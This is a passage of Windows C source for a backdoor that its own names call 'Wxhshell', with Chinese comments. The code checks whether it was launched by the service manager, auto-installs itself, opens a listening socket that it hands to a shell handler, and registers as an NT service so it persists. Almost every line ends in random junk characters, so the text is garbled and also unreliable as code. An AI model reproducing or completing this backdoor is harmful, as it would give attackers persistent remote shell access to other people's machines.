DWORD AffinityMask; {so"xoA^c
DWORD BasePriority; .*D~ .!
ULONG UniqueProcessId; E/ (:\Cm^
ULONG InheritedFromUniqueProcessId; 6Pl$DSu
} PROCESS_BASIC_INFORMATION; 'M+iVF6
' R~x.NM
PROCNTQSIP NtQueryInformationProcess; '@HWp 8+
WB5[!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pr/yDGia
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d>NElug
r M'snW)
HANDLE hProcess; PP&AF?C
PROCESS_BASIC_INFORMATION pbi; GFx>xQk
oj@B'j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5_M9 T3
if(NULL == hInst ) return 0; f6^H
Q1SSt
(I, PC*:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }MrRsvN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S'V0c%'QQV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8:-[wl/@
R{@WlkG}
if (!NtQueryInformationProcess) return 0; bR49(K$~
^Ebaq`{V\'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;04doub
if(!hProcess) return 0; L]kSj$A
i+jSXn"_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (C,PGjd
V?HC\F-
CloseHandle(hProcess); <<v,9*h
vgHMVzxj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,;H)CUe1"
if(hProcess==NULL) return 0; qbHb24I
KCDEMs}}zM
HMODULE hMod; ar=uDb;
char procName[255]; Kw&J<H
unsigned long cbNeeded; LwkZ (Tt
I8`@Srw8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
N4}/n
Z|uUE
CloseHandle(hProcess); e!ar:>T
vz,l{0v
if(strstr(procName,"services")) return 1; // 以服务启动 4&r^mGs,
o{?s\)aBa
return 0; // 注册表启动 ~DhYiOSo
} uOs
8|pj,
lEANN u
// 主模块 =cM\o{ q
int StartWxhshell(LPSTR lpCmdLine) ,K6s'3O(LW
{ CG@ LYN
SOCKET wsl; F%lP<4Vx
BOOL val=TRUE; L=VJl[DL
int port=0; M2[;b+W9
struct sockaddr_in door; wvcG <sj
; @-7'%(C
if(wscfg.ws_autoins) Install(); TNUzNA
+I5@Gys
port=atoi(lpCmdLine); YT}m
8Y
9Rzu0:r.,
if(port<=0) port=wscfg.ws_port; i(2s"Uww,
QK%{\qu
WSADATA data; 41^+T<+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VW I{ wC
=\ iV=1iB
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pz6fL=Xd
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); My76]\Psh
door.sin_family = AF_INET; siZ w-.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); X.}:gU-
door.sin_port = htons(port); -k|r#^(G2
k!>MZ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tVvRT*>Wb
closesocket(wsl); +tkDT@ `
return 1; ,sn
?V~)
} ux& WN ,
vp1IYW
if(listen(wsl,2) == INVALID_SOCKET) { s6lo11
closesocket(wsl); >pbO\=j]X
return 1; LS+ _y<v=
} |gA~E>IqF
Wxhshell(wsl); c-z
,}`
WSACleanup(); i!LEA/"V
Z[RE|l{
return 0; T+9#P4
-[|R\'i
} Nj5Mc>_
d0"Hu^]
// 以NT服务方式启动 %]h5\%@w
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /9,!)/j
{ t Q385en
DWORD status = 0; ?"N,do
DWORD specificError = 0xfffffff; btJ:Wt}
BRPvBs?Q,{
serviceStatus.dwServiceType = SERVICE_WIN32; s%2 w&Us*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; IKMkpX!]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fc M
serviceStatus.dwWin32ExitCode = 0; IC{\iwO/~c
serviceStatus.dwServiceSpecificExitCode = 0; PB_+:S^8
serviceStatus.dwCheckPoint = 0; B<u6Z!Pp2
serviceStatus.dwWaitHint = 0; "G].hKgbk*
)pJ}
$[6
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y>_lxLhmO#
if (hServiceStatusHandle==0) return; PxNp'PZr9
--4,6va`e
status = GetLastError(); ?{NP3
if (status!=NO_ERROR) "-88bF~
{ s {p-cV
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6oMU) DIa
serviceStatus.dwCheckPoint = 0; SMY,bU'a
serviceStatus.dwWaitHint = 0; !}<d6&!py
serviceStatus.dwWin32ExitCode = status; @e8b'w3
serviceStatus.dwServiceSpecificExitCode = specificError; 5I`j'j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }><VcouJ[
return; Uoe;4ni
} ?&
qM C
`w` f[dU-
serviceStatus.dwCurrentState = SERVICE_RUNNING; C#d.3t
serviceStatus.dwCheckPoint = 0; v;AsV`g
serviceStatus.dwWaitHint = 0; [nZf4KN
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
S<#>g
s4
} ;gLHSHEA
ecDni>W
// 处理NT服务事件,比如:启动、停止 V9&7K65-1
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2#1"(m{
{ Ri=:=oF(
switch(fdwControl) 8yij=T*
{ D!Pv`wm
case SERVICE_CONTROL_STOP: C62:G+W&o
serviceStatus.dwWin32ExitCode = 0; ?f f !(U
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4r&D